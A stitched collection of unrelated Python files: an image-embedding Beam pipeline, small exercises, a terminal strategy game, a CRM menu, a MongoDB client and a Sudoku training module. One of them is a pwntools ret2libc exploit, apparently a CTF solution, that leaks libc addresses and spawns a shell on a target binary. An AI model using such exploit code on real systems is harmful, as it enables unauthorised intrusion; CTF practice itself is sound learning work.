      incompatible_image.inc()
      logging.warning('Could not encode an image from %s: %s', uri, str(e))
      return

    if embedding.any():
      embedding_good.inc()
    else:
      embedding_bad.inc()

    example = tf.train.Example(features=tf.train.Features(feature={
        'image_uri': _bytes_feature([str(uri)]),
        'embedding': _float_feature(embedding.ravel().tolist()),
    }))

    example.features.feature['label'].int64_list.value.append(label_id)

    yield example

class TrainEvalSplitPartitionFn(beam.PartitionFn):
  """Split train and eval data."""
  def partition_for(self, element, num_partitions):
    import random
    return 1 if random.random() > 0.7 else 0

class ExampleProtoCoder(beam.coders.Coder):
  """A coder to encode and decode TensorFlow Example objects."""

  def encode(self, example_proto):
    return example_proto.SerializeToString()

  def decode(self, serialized_str):
    import tensorflow as tf
    example = tf.train.Example()
    example.ParseFromString(serialized_str)
    return example

class SaveFeatures(beam.PTransform):
  """Save Features in a TFRecordIO format.
  """

  def __init__(self, file_path_prefix):
    super(SaveFeatures, self).__init__('SaveFeatures')
    self._file_path_prefix = file_path_prefix

  def expand(self, features):
    return (features |
            'Write to %s' % self._file_path_prefix.replace('/', '_') >>
            tfrecordio.WriteToTFRecord(file_path_prefix=self._file_path_prefix,
                                       file_name_suffix='.tfrecord.gz',
                                       coder=ExampleProtoCoder()))

def _labels_pipeline(sources):
  labels = (sources |
            'Flatten Sources for labels' >> beam.Flatten() |
            'Parse input for labels' >> beam.Map(lambda x: str(x['label'])) |
            'Combine labels' >> beam.transforms.combiners.Count.PerElement() |
            'Get labels' >> beam.Map(lambda label_count: label_count[0]))
  return labels

def _transformation_pipeline(source, checkpoint, labels, mode):
  transformed = (source |
                 'Extract label ids(%s)' % mode >>
                 beam.ParDo(ExtractLabelIdsDoFn(), beam.pvalue.AsIter(labels)) |
                 'Read and convert to JPEG(%s)' % mode >>
                 beam.ParDo(ReadImageAndConvertToJpegDoFn()) |
                 'Embed and make TFExample(%s)' % mode >>
                 beam.ParDo(TFExampleFromImageDoFn(checkpoint)))
  return transformed

def configure_pipeline(p, dataset_train, dataset_eval, checkpoint_path, output_dir, job_id):
  source_train = _util.get_sources_from_dataset(p, dataset_train, 'train')
  labels_source = [source_train]
  if dataset_eval is not None:
    source_eval = _util.get_sources_from_dataset(p, dataset_eval, 'eval')
    labels_source.append(source_eval)

  labels = _labels_pipeline(labels_source)
  train_preprocessed = _transformation_pipeline(source_train, checkpoint_path, labels, 'train')
  if dataset_eval is not None:
    # explicit eval data.
    eval_preprocessed = _transformation_pipeline(source_eval, checkpoint_path, labels, 'eval')
  else:
    # Split train/eval.
    train_preprocessed, eval_preprocessed = (train_preprocessed |
                                             'Random Partition' >>
                                             beam.Partition(TrainEvalSplitPartitionFn(), 2))

  output_train_path = os.path.join(output_dir, job_id, 'train')
  output_eval_path = os.path.join(output_dir, job_id, 'eval')
  labels_file = os.path.join(output_dir, job_id, 'labels')
  labels_save = (labels |
                 'Write labels' >>
                 beam.io.textio.WriteToText(labels_file, shard_name_template=''))
  train_save = train_preprocessed | 'Save train to disk' >> SaveFeatures(output_train_path)
  eval_save = eval_preprocessed | 'Save eval to disk' >> SaveFeatures(output_eval_path)
  # Make sure we write "latest" file after train and eval data are successfully written.
  output_latest_file = os.path.join(output_dir, 'latest')
  ([eval_save, train_save, labels_save] | 'Wait for train eval saving' >> beam.Flatten() |
      'Fixed One' >> beam.transforms.combiners.Sample.FixedSizeGlobally(1) |
      beam.Map(lambda path: job_id) |
      'WriteLatest' >> beam.io.textio.WriteToText(output_latest_file, shard_name_template=''))


#!/usr/bin/python2

from pwn import *
import sys, socket

LOCAL = True

HOST = "127.0.0.1"
PORT = 31336
BINARY = "./attackd"

libc = ELF('./libc.so.6',checksec=False)
e = ELF(BINARY,checksec=False)

system_off = libc.symbols['system']
binsh = next(libc.search('/bin/sh\x00'))

pop_rdi_ret=0x40124b

def sendtoSocket(message):
    return
    HOST = '192.168.1.200'  # The server's hostname or IP address
    PORT = 4445        # The port used by the server

    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    s.sendall(message)

def exploit(r):
    payload='A'*24
    sendtoSocket(payload)

    payload+=p64(pop_rdi_ret)
    payload+=p64(e.got['read'])

    sendtoSocket("read GOT at {}\n".format(hex(e.got['read'])))
    sendtoSocket(payload+'\n')

    payload+=p64(e.plt['puts'])
    sendtoSocket("puts PLT at {}\n".format(hex(e.plt['puts'])))
    sendtoSocket(payload+'\n')

    payload+=p64(e.symbols['main'])
    sendtoSocket("main in binary at {}\n".format(hex(e.symbols['main'])))

    r.recvuntil('l\n\n')
    r.sendline(payload)
    sendtoSocket(payload+'\n')

    base=u64(r.recv(6)+'\x00\x00')-libc.symbols['read']
    message='Leaked libc base '+hex(base)
    log.success(message)

    message='read found at {}\n'.format(hex(base+libc.symbols['read']))
    message+='puts found at {}\n'.format(hex(base+libc.symbols['puts']))
    message+='system found at {}\n'.format(hex(base+libc.symbols['system']))
    message+='free found at {}\n'.format(hex(base+libc.symbols['free']))
    message+='malloc found at {}\n'.format(hex(base+libc.symbols['malloc']))
    sendtoSocket(message)

    r.recvuntil('l\n\n')

    sendtoSocket("We should be back at the beginning of binary")

    payload='A'*24
    payload+=p64(pop_rdi_ret)
    sendtoSocket("POP RDI; RET gadget at {}\n".format(hex(pop_rdi_ret)))
    payload+=p64(base+binsh)
    payload+=p64(base+system_off)
    sendtoSocket(payload+'\n')

    r.sendline(payload)
    log.success("Got shell, let's roll")
    sendtoSocket("Got shell, let's roll\n")
    sendtoSocket("Got flag as evlz{XxXxXxXxXxXxXxXxXxXxXxX}ctf\nClosing connection\n")
    r.interactive()
    return

if __name__=="__main__":

    if len(sys.argv) > 1:
        LOCAL = False
        r = remote(HOST, PORT)
        exploit(r)
    else:
        LOCAL = True
        r = process(BINARY)
        print (util.proc.pidof(r))
        pause()
        exploit(r)


from flask import Flask
import json
from ons_api import mainAPI

app = Flask(__name__)

@app.route("/")
def index():
    return "Please add a case_id"

@app.route("/<case_id>")
def get_case_id(case_id):
    print(case_id)
    mainAPI(str(case_id))
    with open("output.json") as j:
        data = json.load(j)
    return data


#
# @lc app=leetcode.cn id=39 lang=python3
#
# [39] 组合总和
#

# @lc code=start
class Solution:
    def combinationSum(self, candidates: List[int], target: int) -> List[List[int]]:
        candidates = sorted(candidates)
        res = []
        def dfs(target, tmp, t):
            if not target:
                res.append(tmp)
            if target < 0:
                return

            for i in range(t, len(candidates)):
                dfs(target-candidates[i], tmp+[candidates[i]], i)
        dfs(target, [], 0)
        return res
# @lc code=end


def anagrams(word, words):
    result = []             #Lista resultante ha retornar
    def Character(word):    #Función, devuelve un diccionario con cada letra única y su cantidad.
        dicc = {}                               #Define un diccionario vacio
        for char in word:                       #Recoriendo en cada caracter de la palabra
            if char not in dicc.keys():         #Condicional para evitar repetidos
                dicc[char] = word.count(char)   #Agrega la clave caracter y el valor cantidades presentes.
        return dicc                             #Retorno de diccionario
    dic_word = Character(word);     #Diccionario de la palabra principal

    for x in words:             #Recoriendo cada palabra de la lista
        dic_x = Character(x);   #Creando un diccionario de caracteres
        if dic_word == dic_x:   #Comparando si ambos diccionarios son iguales
            result.append(x)    #Agregar a la lista final las palabras que sean anagramas
    return result               #Salida


import time
import sys
import termios

from building import Building, Townhall
from building import Canon
from building import Hut
from building import Wall
from barbarians import Barbarians
from kingclass import King
from input import Get, input_to

import colorama
from colorama import Back, Style
import os
colorama.init(autoreset=True)

columns = 80
rows = 40

hutsCoordinates = [[8,2],[13,60],[35,73],[7,15],[37,72]]
canonPositions = [[20,60],[35,20]]
victory = ['v','i','c','t','o','r','y','!']
defeat = ['d','e','f','e','a','t',':','(']

class Game:
    def __init__(self):
        self.color = Back.LIGHTGREEN_EX + " " + Style.RESET_ALL
        self.colorArray= [[self.color for _ in range(columns)] for _ in range(rows)]
        self.idArray = [[0 for _ in range(columns)] for _ in range(rows)]

        self.townhall = Townhall()
        self.king = King()

        self.rageTime = -1
        self.healTime = time.time()

        for i in range(5):
            hut = Hut(hutsCoordinates[i][0],hutsCoordinates[i][1])
            self.colorArray = hut.render(self.colorArray)

        for i in range(2):
            canon = Canon(canonPositions[i][0],canonPositions[i][1])
            self.colorArray = canon.render(self.colorArray)

        for i in (18,23):
            for j in range(6):
                Wall(i,int(columns/2)-2+j)

        for i in range(3):
            for j in (38,43):
                Wall(int(rows/2)-1+i,j)

    def board(self,rows,columns):
        self.colorArray = [[self.color for _ in range(columns)] for _ in range(rows)]
        self.colorArray = [[self.color for _ in range(columns)] for _ in range(rows)]
        self.idArray = [[0 for _ in range(columns)] for _ in range(rows)]

    def spawn(self, key):
        if(key == 'z'):
            Barbarians(38,22)
        if(key == 'c'):
            Barbarians(17,65)
        if(key == 'v'):
            Barbarians(35,65)

    def rageStart(self):
        self.color = Back.LIGHTMAGENTA_EX + " " + Style.RESET_ALL
        self.king.velocity = 2
        Barbarians.velocity = 2
        self.townhall.health = 10 - 2*(10 - self.townhall.health)
        for hut in Hut.hutsList:
            hut.health = 10 - 2*(10 - hut.health)
        for canon in Canon.canonsList:
            canon.health = 10 - 2*(10 - canon.health)

    def rageEnd(self):
        self.color = Back.LIGHTGREEN_EX + " " + Style.RESET_ALL
        self.king.velocity = 1
        Barbarians.velocity = 1

    def healStart(self):
        self.color = Back.LIGHTYELLOW_EX + " " + Style.RESET_ALL

        self.townhall.health = (3/2) * self.townhall.health
        for hut in Hut.hutsList:
            hut.health = (3/2)*hut.health
            if(hut.health>10):
                hut.health = 10
        for canon in Canon.canonsList:
            canon.health = (3/2)*canon.health
            if(canon.health>10):
                canon.health = 10

    def healEnd(self):
        self.color = Back.LIGHTGREEN_EX + " " + Style.RESET_ALL

    def narikey(self):
        for building in Building.buildingList:
            if isinstance(building, Townhall):
                continue

            if(abs(building.coordinates[0] - self.king.coordinates[0]) < 5 and
               abs(building.coordinates[1] - self.king.coordinates[1]) < 5):
                building.health = building.health - 5

    def checkVictory(self):
        check = False
        if(self.townhall.death == True):
            check = True
        else:
            return False
        for hut in Hut.hutsList:
            if(hut.death == True):
                check = True
            else:
                return False
        for canon in Canon.canonsList:
            if(canon.death == True):
                check = True
            else:
                return False
        return check

    def checkDefeat(self):
        check = False
        for barbarian in Barbarians.barbariansList:
            if(barbarian.death == True):
                check = True
            else:
                return False
        if(self.king.death == True):
            check = True
        else:
            return False
        return check

    def render(self):
        key = input_to(Get())
        os.system('clear')

        self.spawn(key)
        if(key == 'r'):
            self.rageTime = time.time()
            self.rageStart()
        if(time.time() - self.rageTime>=5):
            self.rageEnd()
            self.rageTime = time.time()

        if(key == 'h'):
            self.healTime = time.time()
            self.healStart()
        if(time.time() - self.healTime >= 5):
            self.healEnd()

        if(key == 'x'):
            self.narikey()

        if(key == ' '):
            self.king.attack(self, self.townhall, Hut, Canon, Wall)

        # clear board
        self.board(rows, columns)

        # render all buildings
        for building in Building.buildingList:
            self.colorArray = building.render(self.colorArray)
            self.idArray = building.idUpdate(self.idArray)

        self.king.move(key, self.idArray)
        self.colorArray = self.king.render(self.colorArray)
        self.idArray = self.king.idUpdate(self.idArray)

        for cannon in Canon.canonsList:
            cannon.shoot(self.king, Barbarians)

        for barbarian in Barbarians.barbariansList:
            barbarian.choose(Building)
            barbarian.move(self.idArray)
            self.colorArray = barbarian.render(self.colorArray)
            self.idArray = barbarian.idUpdate(self.idArray)

        if(self.checkVictory()==True):
            self.colorArray= [[Back.LIGHTGREEN_EX + " " + Style.RESET_ALL for _ in range(columns)]for _ in range(rows)]
            for i in range(8):
                self.colorArray[int(rows/2)-1][int(columns/2)-4+i] = Back.GREEN + victory[i] + Style.RESET_ALL
            return False
        if(self.checkDefeat()==True):
            self.colorArray= [[Back.LIGHTRED_EX + " " + Style.RESET_ALL for i in range(columns)]for j in range(rows)]
            for i in range(8):
                self.colorArray[int(rows/2)-1][int(columns/2)-4+i] = Back.LIGHTRED_EX + defeat[i] + Style.RESET_ALL
            return False # originally it didnt close

        print("\n".join(["".join(row) for row in self.colorArray]))
        return True

game = Game()
while game.render():
    pass


from model.crm import crm
from view import terminal as view

ID_INDEX = 0
NAME_INDEX = 1
EMAIL_INDEX = 2
SUBSCRIPTION_INDEX = 3

def list_customers():
    customers_list = crm.list_the_customers()
    view.print_table(customers_list, crm.HEADERS)

def add_customer():
    table = ["", "Please provide name", "Please provide email", "Please provide subscription status"]

    [table[NAME_INDEX], table[EMAIL_INDEX], table[SUBSCRIPTION_INDEX]] = view.get_inputs([table[NAME_INDEX], table[EMAIL_INDEX], table[SUBSCRIPTION_INDEX]])

    if len(table[NAME_INDEX]) < 4 or "@" not in table[EMAIL_INDEX] or "." not in table[EMAIL_INDEX] or table[SUBSCRIPTION_INDEX] not in ["0","1"]:
        view.print_error_message("The entered data was incorrect!")
    else:
        crm.create_customer(table)

def update_customer():

    customer_id = view.get_input("Please input user ID")
    table = ["", "Please provide name", "Please provide email", "Please provide subscription status"]

    if crm.is_id_in_base(customer_id):
        [table[NAME_INDEX], table[EMAIL_INDEX], table[SUBSCRIPTION_INDEX]] = view.get_inputs([table[NAME_INDEX], table[EMAIL_INDEX], table[SUBSCRIPTION_INDEX]])
        crm.update_customers(customer_id, table)
    else:
        view.print_error_message("There is no such id in the base.")

def delete_customer():
    customer_id = view.get_input("Please input user ID")
    deleted_id = crm.delete_customer(customer_id)
    view.print_message(deleted_id)

def get_subscribed_emails():
    subscribed_emails_list = crm.get_emails_of_subscribent()

    if len(subscribed_emails_list) > 0:
        view.print_general_results(subscribed_emails_list, "Subscribed Emails:")
    else:
        view.print_error_message("There are no subscribed emails!")

def run_operation(option):
    if option == 1:
        list_customers()
    elif option == 2:
        add_customer()
    elif option == 3:
        update_customer()
    elif option == 4:
        delete_customer()
    elif option == 5:
        get_subscribed_emails()
    elif option == 0:
        return
    else:
        raise KeyError("There is no such option.")

def display_menu():
    options = ["Back to main menu",
               "List customers",
               "Add new customer",
               "Update customer",
               "Remove customer",
               "Subscribed customer emails"]
    view.print_menu("Customer Relationship Management", options)

def menu():
    operation = None
    while operation != '0':
        display_menu()
        try:
            operation = view.get_input("Select an operation")
            run_operation(int(operation))
        except KeyError as err:
            view.print_error_message(err)


#class variable is default for any object
#instance variable is unique for that specific object
class girl:
	gender="female"			#class variable
	def __init__(self,name):
		self.name=name		#instance variable
		print(self.name)

r=girl("Sita")
print(r.gender)

s=girl("Gita")
print(s.gender)


from wsgiref.simple_server import demo_app
from fastapi import FastAPI
from src.routes.clustering import router_clustering
from src.routes.vizualization import router_viz
from src.models import *

app = FastAPI(
    title="Clustering App API",
    description="""FastAPI documentation for Clustering App""",
    contact ={
        'name': 'Demo App',
        'url': 'http://localhost:8501'
    },
    version="0.1.0",
)
app.include_router(router_clustering)
app.include_router(router_viz)

tags_metadata = [
    {
        'name': 'Clustering',
        'descriptions': 'Preprocessing, Dimension Reduction, Clustering'
    },
    {
        'name': 'Vizualization',
        'descriptions': 'Return vizualization images'
    }
]


import numpy as np
import matplotlib.pyplot as plt
from astropy.io import fits

def centroid(array, center = True):
    M = np.sum(array)
    if center:
        x_low = -(array.shape[1]/2)
        x_high = x_low + array.shape[1]
        y_low = -(array.shape[0]/2)
        y_high = y_low + array.shape[0]
        y_indices, x_indices = np.mgrid[y_low:y_high,x_low:x_high]
        y_indices = y_indices[::-1]
    else:
        x_indices, y_indices = np.indices(array.shape)
    x = np.sum(array*x_indices) / float(M)
    y = np.sum(array*y_indices) / float(M)
    return x, y

def solve_star(file,xcent,ycent,size,plot=True):

    hdu = fits.open(file)[0]
    image = hdu.data
    star = image[ycent-size:ycent+size,xcent-size:xcent+size]
    sky = image[ycent-size-1:ycent+size+1,xcent-size-1:xcent+size+1]
    skyimg = sky[np.where(sky!=star)]
    sky_val = np.mean(skyimg)
    subimg = star - sky_val
    flux = np.sum(subimg)
    center = centroid(subimg, center = False)
    centroid_x = xcent-size + center[0]
    centroid_y = ycent-size + center[1]
    if plot:
        fig, (ax1, ax2) = plt.subplots(1,2, figsize = (10,5))
        ax1.set_title('Full image')
        ax2.set_title('Star centroid')
        ax1.imshow(image, interpolation = 'none', vmin = 700, vmax = 5000, cmap = 'gray')
        ax2.imshow(star, interpolation = 'none', vmin = 700, vmax = 5000, cmap = 'gray')
        ax1.plot(centroid_x,centroid_y,'r+',markersize=10)
        ax2.plot(center[0],center[1],'r+',markersize=10)
        plt.show(fig)
    return center, (centroid_x, centroid_y), flux

array = np.array([[0,33,21,33,8],
                     [0,56,51,53,26],
                     [23,120,149,73,18],
                     [55,101,116,50,16],
                     [11,78,26,2,10]])

solve_star("/home/student/Yao_py/YSPA/2008NU_Spain_2017-07-13_1.fit", 228, 536, 30)


"""
Функция count()
Это итератор, возвращающий равномерно распределенные переменные с числа,
переданного как стартовый параметр. Также допустимо указание значения шага.
"""

from itertools import count

for el in count(7):
    if el > 15:
        break
    else:
        print(el)

"""
7
8
9
10
11
12
13
14
15
"""


import pymongo
from bson import objectid
from pymongo import MongoClient
import logging
import time

logger = logging.getLogger("ml_service")

class MongoDBClient():
    """Simple Client for MongoDB interaction"""

    def __init__(self, host='localhost', port=27017):
        self.client = MongoClient(host, port)
        logger.info("MongoDB is initialized at " + host + ":" + str(port))

    def read(self, db: str, collection: str, search_param: dict) -> list:
        db_connection = self.client[db]
        col = db_connection[collection]
        findings = []
        #if search params are in list, search for all the contend (not the list itself...)
        for key in search_param:
            value = search_param[key]
            if key == "tags" or key == "meta.tags":
                if isinstance(value, list):
                    search_param[key] = {"$all": value}
            if not value:  # check if key exists if no value is given
                search_param[key] = {"$exists": True}
            if key == "_id":  # if _id is given as string  ->  ObjectId
                if isinstance(search_param[key],str):
                    search_param[key] = objectid.ObjectId(search_param[key])
        retry_count = 0
        while not findings:
            for f in col.find(filter=search_param):
                f["_id"] = str(f["_id"])
                findings.append(f)
            if retry_count > 2:
                break
            else:
                retry_count += 1
                time.sleep(0.5)
        return findings

    def write(self, db: str, collection: str, document: dict or list) -> objectid.ObjectId or list:
        db_connection = self.client[db]
        col = db_connection[collection]
        if isinstance(document, list):
            # document_id = col.insert_many(document).inserted_ids
            document_ids = []
            for doc in document:
                single_id = self._write_single(db, collection, doc)
                document_ids.append(single_id)
        elif isinstance(document, dict):
            document_ids = self._write_single(db, collection, document)
        else:
            logger.error("Document type is not dict or list, but " + str(type(document)))
            logger.info("Cannot insert document into Database.")
            return False
        return document_ids

    def _write_single(self, db: str, collection: str, document: dict) -> objectid.ObjectId:
        db_connection = self.client[db]
        col = db_connection[collection]
        if isinstance(document, dict):
            if "_id" in document.keys():  # if _id is given as string  ->  ObjectId
                if isinstance(document["_id"],str):
                    document["_id"] = objectid.ObjectId(document["_id"])
            return str(col.insert_one(document).inserted_id)
        else:
            logger.error("Document type is not dict, but " + str(type(document)))
            logger.info("Cannot insert document into Database.")
            return False

    def remove(self, db: str, collection: str, search_param: dict) -> bool:
        db_connection = self.client[db]
        col = db_connection[collection]
        if "_id" in search_param.keys():  # if _id is given as string  ->  ObjectId
                if isinstance(search_param["_id"], str):
                    search_param["_id"] = objectid.ObjectId(search_param["_id"])
        for key in search_param:
            value = search_param[key]
            if key == "tags" or "meta.tags":
                if isinstance(value, list):
                    search_param[key] = {"$all": value}
        result = col.delete_many(search_param, collation=None, session=None)
        if result.deleted_count > 0:
            return True
        else:
            return False

    def update(self, db: str, collection: str, search_param: dict, new_param: dict) -> bool:
        db_connection = self.client[db]
        col = db_connection[collection]
        if isinstance(search_param, dict):
            if "_id" in search_param.keys():  # if _id is given as string  ->  ObjectId
                if isinstance(search_param["_id"], str):
                    search_param["_id"] = objectid.ObjectId(search_param["_id"])
            if isinstance(new_param, dict):
                if new_param.get("_id", False):
                    new_param.pop("_id")
                new_param_set = {"$set": new_param}
                col.update_one(search_param, new_param_set)
            else:
                logger.error("new parameter for update are not dict, but " + str(type(new_param)))
                return False
        else:
            logger.error("search parameter for update are not dict, but " + str(type(new_param)))
            return False
        return True

    def delete_collection(self, db: str, collection: str):
        db_connection = self.client[db]
        col = db_connection[collection]
        col.drop()

    def get_collections(self, db:str) -> list:
        db_connection = self.client[db]
        return db_connection.list_collection_names(filter={})


import math
import pickle
import copy
import collections
import functools
import os
import json
import time
import datetime
import dgl
import numpy as np
from collections import Counter
from tqdm import tqdm

import torch
import torch.nn as nn
import torch.nn.functional as F

import random as py_random
import jacinle.random as random
import jacinle.io as io
import jactorch.nn as jacnn

from jactorch.utils.meta import as_tensor, as_float, as_cpu
from jacinle.cli.argument import JacArgumentParser
from jacinle.logging import get_logger, set_output_file
from jacinle.utils.container import GView
from jacinle.utils.meter import GroupMeters
from jactorch.data.dataloader import JacDataLoader
from jactorch.optim.accum_grad import AccumGrad
from jactorch.optim.quickaccess import get_optimizer
from jactorch.train.env import TrainerEnv
from jactorch.utils.meta import as_cuda, as_numpy, as_tensor

from difflogic.cli import format_args
from difflogic.nn.neural_logic import LogicMachine, LogicInference, LogitsInference, LogicSoftmaxInference
from difflogic.nn.neural_logic.modules._utils import meshgrid_exclude_self
from difflogic.thutils_rl import binary_accuracy, instance_accuracy
from difflogic.train import TrainerBase

from rrn.sudoku import SudokuNN
import rrn.sudoku_data as sd

from latent_models import SudokuConvNet, EpsilonGreedyLatentModel, DeterministicLatentModel, LatentNLMModel
import utils

logger = get_logger(__file__)

def get_model(args):
    if args.model == 'nlm':
        rmodel = NLMModel(args)
    elif args.model == 'rrn':
        rmodel = SudokuRRNNet(args)
    if args.use_gpu:
        rmodel = rmodel.cuda()
    return rmodel

def get_latent_model(args, base_model=None):
    if args.latent_model == 'eg':
        rmodel = EpsilonGreedyLatentModel(args)
    elif args.latent_model == 'det':
        rmodel = DeterministicLatentModel(args)
    elif args.model == 'nlm':
        rmodel = LatentNLMModel(args)
    elif args.latent_model == 'conv':
        rmodel = SudokuConvNet(args)
    if args.use_gpu:
        rmodel = rmodel.cuda()
    return rmodel

class NLMModel(nn.Module):

    def __init__(self, args):
        super().__init__()

        # inputs
        self.args = args
        if args.task_is_nqueens:
            binary_dim = 4
            unary_dim = 1
        elif args.task_is_futoshiki:
            binary_dim = 3
            unary_dim = 3

        self.feature_axis = 1 if (args.task_is_1d_output) else 2
        input_dims = [0 for _ in range(args.nlm_breadth + 1)]
        input_dims[0] = 0
        input_dims[1] = unary_dim
        input_dims[2] = binary_dim
        self.features = LogicMachine.from_args(
            input_dims, args.nlm_attributes, args, prefix='nlm')

        output_dim = self.features.output_dims[self.feature_axis]
        target_dim = 1
        self.pred = LogicInference(output_dim, target_dim, [])

        # losses
        self.base_loss = nn.BCELoss()
        self.wt_base_loss = nn.BCELoss(reduction='none')

        def loss_aggregator(pred, target, count, weights=None):
            # if pred and target have same dimension then simply compute loss
            # Pdb().set_trace()
            if pred.dim() == target.dim():
                # if weights are not none then weigh each datapoint appropriately else simply average them
                if weights is not None:
                    loss = (weights*self.wt_base_loss(pred,
                                                      target).sum(dim=1)).sum()/weights.sum()
                    return loss
                return self.base_loss(pred, target)

            if self.args.cc_loss:
                #loss = log(sum_prob)
                # first compute probability of each of the targets
                # pred.shape = BS X N
                # target.shape = BS x num targets x N
                target_prob = pred.unsqueeze(1).expand_as(target)
                target_prob = (target_prob*target.float() + (1 -
                                                             target_prob) * (1 - target.float())).prod(dim=-1)
                # now target_prob is of shape: batchsize x number of targets.
                batch_loss = []
                for i in range(len(target_prob)):
                    total_prob = target_prob[i][:count[i]].sum()
                    batch_loss.append(-1*torch.log(total_prob)/target.size(-1))
                return torch.stack(batch_loss)
            #
            else:
                # if pred and target are not of same dimension then compute loss wrt each element in target set
                # return a (batchsize x targetset size) vector
                batch_loss = []
                for i in range(len(pred)):
                    x = pred[i]
                    instance_loss = []
                    for y in target[i][:count[i]]:
                        instance_loss.append(self.base_loss(x, y))
                    if self.args.min_loss:
                        batch_loss.append(
                            torch.min(torch.stack(instance_loss)))
                    elif self.args.naive_pll_loss:
                        batch_loss.append(torch.mean(
                            torch.stack(instance_loss)))
                    else:
                        batch_loss.append(
                            F.pad(torch.stack(instance_loss), (0, len(target[i])-count[i]), "constant", 0))
                return torch.stack(batch_loss)

        self.loss = loss_aggregator

    def distributed_pred(self, inp, depth):
        feature = self.features(inp, depth=depth)[self.feature_axis]
        pred = self.pred(feature)
        pred = pred.squeeze(-1)
        return pred

    def forward(self, feed_dict, return_loss_matrix=False):
        feed_dict = GView(feed_dict)

        states = None

        # relations
        relations = feed_dict.relations.float()
        states = feed_dict.query.float()
        batch_size, nr = relations.size()[:2]
        inp = [None for _ in range(self.args.nlm_breadth + 1)]

        inp[1] = states
        inp[2] = relations
        depth = None
        if self.args.nlm_recursion:
            depth = 1
            while 2**depth + 1 < nr:
                depth += 1
            depth = depth * 2 + 1

        pred = self.distributed_pred(inp, depth=depth)

        if self.training:
            monitors = dict()
            target = feed_dict.target
            target = target.float()
            count = None
            if self.args.cc_loss or self.args.min_loss or self.args.naive_pll_loss or 'weights' in feed_dict or return_loss_matrix:
                target = feed_dict.target_set
                target = target.float()
                count = feed_dict.count.int()

            this_meters, _, reward = instance_accuracy(
                feed_dict.target.float(), pred, return_float=False,
                feed_dict=feed_dict, task=self.args.task, args=self.args)

            #logger.info("Reward: ")
            # logger.info(reward)
            monitors.update(this_meters)
            loss_matrix = self.loss(pred, target, count)

            if self.args.min_loss or self.args.cc_loss or self.args.naive_pll_loss:
                loss = loss_matrix.mean()
            elif 'weights' in feed_dict:
                loss = (feed_dict.weights*loss_matrix).sum() / \
                    feed_dict.weights.sum()
            else:
                loss = loss_matrix

            return loss, monitors, dict(pred=pred, reward=reward, loss_matrix=loss_matrix)
        else:
            return dict(pred=pred)

class SudokuRRNNet(nn.Module):
    def __init__(self, args):
        super(SudokuRRNNet, self).__init__()
        self.args = args
        self.num_steps = args.sudoku_num_steps
        self.sudoku_solver = SudokuNN(
            num_steps=args.sudoku_num_steps,
            embed_size=args.sudoku_embed_size,
            hidden_dim=args.sudoku_hidden_dim,
            edge_drop=args.sudoku_do
        )

        self.basic_graph = sd._basic_sudoku_graph()
        self.sudoku_indices = torch.arange(0, 81)
        if args.use_gpu:
            self.sudoku_indices = self.sudoku_indices.cuda()
        self.rows = self.sudoku_indices // 9
        self.cols = self.sudoku_indices % 9
        self.wt_base_loss = torch.nn.CrossEntropyLoss(reduction='none')

        def loss_aggregator(pred, target, target_mask):
            # if pred and target have same dimension then simply compute loss
            # pred.shape == BS x 10 x 81 x  32
            # target.shape = BS X Target size x 81
            # if pred.dim()==self.args.sudoku_num_steps*target.dim():
            #    return self.base_loss(pred, target)
            # Pdb().set_trace()
            # if pred and target are not of same dimension then compute loss wrt each element in target set
            # return a (batchsize x targetset size) vector
            # target.shape = batch_size x target size x num_variables
            # pred.shape: batch_size x num variables
            # Pdb().set_trace()
            batch_size, target_size, num_variables = target.size()
            num_steps = pred.size(-1)
            #target= torch.stack([target.transpose(1,2)]*num_steps,dim=-1).transpose(-1,-2)
            if self.args.cc_loss:
                # Pdb().set_trace()
                log_pred_prob = F.log_softmax(pred, dim=1)
                epsilon = 1e-10
                #pred_prob = pred_prob.unsqueeze(-1).expand(*pred_size(),target_size)
                target = target.unsqueeze(-1).expand(*target.size(), num_steps)
                # Pdb().set_trace()
                log_target_prob = torch.gather(
                    log_pred_prob, dim=1, index=target.long()).sum(dim=-2)
                # multiply the probability accross cells. dim = -2.
                # target_prob.shape  = BS x Target Size x num cells x num steps
                #target_prob = target_prob.prod(dim=-2)
                #log_target_prob = torch.log(target_prob).sum(dim=-2)
                expanded_mask = target_mask.float().unsqueeze(-1).expand_as(log_target_prob)
                #mask_log_target_prob = log_target_prob*(target_mask.float().unsqueeze(-1).expand_as(log_target_prob))
                # add probabilities for all targets
                #target_prob = expanded_mask*(epsilon + torch.exp(log_target_prob))
                # Pdb().set_trace()
                log_max_prob, max_prob_index = log_target_prob.max(dim=1)
                #log_max_prob =  log_target_prob.gather(dim=1,index=max_prob_index.unsqueeze(1)).squeeze(1)
                # log(sum) = log(sum*max/max) = log(max) + log(sum/max) = log(max) + log(sum(exp(log(p_i) - log(p_max)))

                log_total_prob = log_max_prob + \
                    torch.log((expanded_mask*torch.exp(log_target_prob -
                                                       log_max_prob.unsqueeze(dim=1))).sum(dim=1))

                #log_total_prob = log_max_prob + torch.log((target_prob.sum(dim=1))/max_prob)
                # log_total_prob = log_target_prob[:,0,:] + torch.log(
                #                1.0 + (target_prob[:,1:,:].sum(dim=1)/target_prob[:,0,:]))
                loss_tensor = (-1.0*log_total_prob).mean(dim=-1)/num_variables
                # total_target_prob.shape = BS x Num steps
                #loss_tensor = (-1.0*torch.log(total_target_prob + epsilon )).mean(dim=-1)/num_variables
            else:
                pred = pred.unsqueeze(-1).expand(*pred.size(), target_size)
                target = target.transpose(1, 2).unsqueeze(-1).expand(
                    batch_size, num_variables, target_size, num_steps).transpose(-1, -2)
                loss_tensor = self.wt_base_loss(pred, target.long())
                loss_tensor = loss_tensor.mean(
                    dim=list(range(1, loss_tensor.dim()-1)))*target_mask.float()

                # shape = batch_size x target_size
                if self.args.min_loss:
                    # return has shape: batch_size
                    #loss_tensor  = loss_tensor.masked_fill((1-target_mask.byte()),float('inf')).min(dim=1)[0]
                    loss_tensor = loss_tensor.masked_fill(
                        (target_mask < 1), float('inf')).min(dim=1)[0]
                elif self.args.naive_pll_loss:
                    loss_tensor = loss_tensor.sum(
                        dim=1)/target_mask.sum(dim=1).float()

            return loss_tensor
        self.loss_func = nn.CrossEntropyLoss()
        self.loss = loss_aggregator

    def collate_fn(self, feed_dict):
        graph_list = []
        for i in range(len(feed_dict['query'])):
            # @TODO may have to change dtype of q. keep an eye
            q = feed_dict['query'][i]
            graph = copy.deepcopy(self.basic_graph)
            graph.ndata['q'] = q  # q means question
            #graph.ndata['a'] = feed_dict['target'][i].long()
            graph.ndata['row'] = self.rows
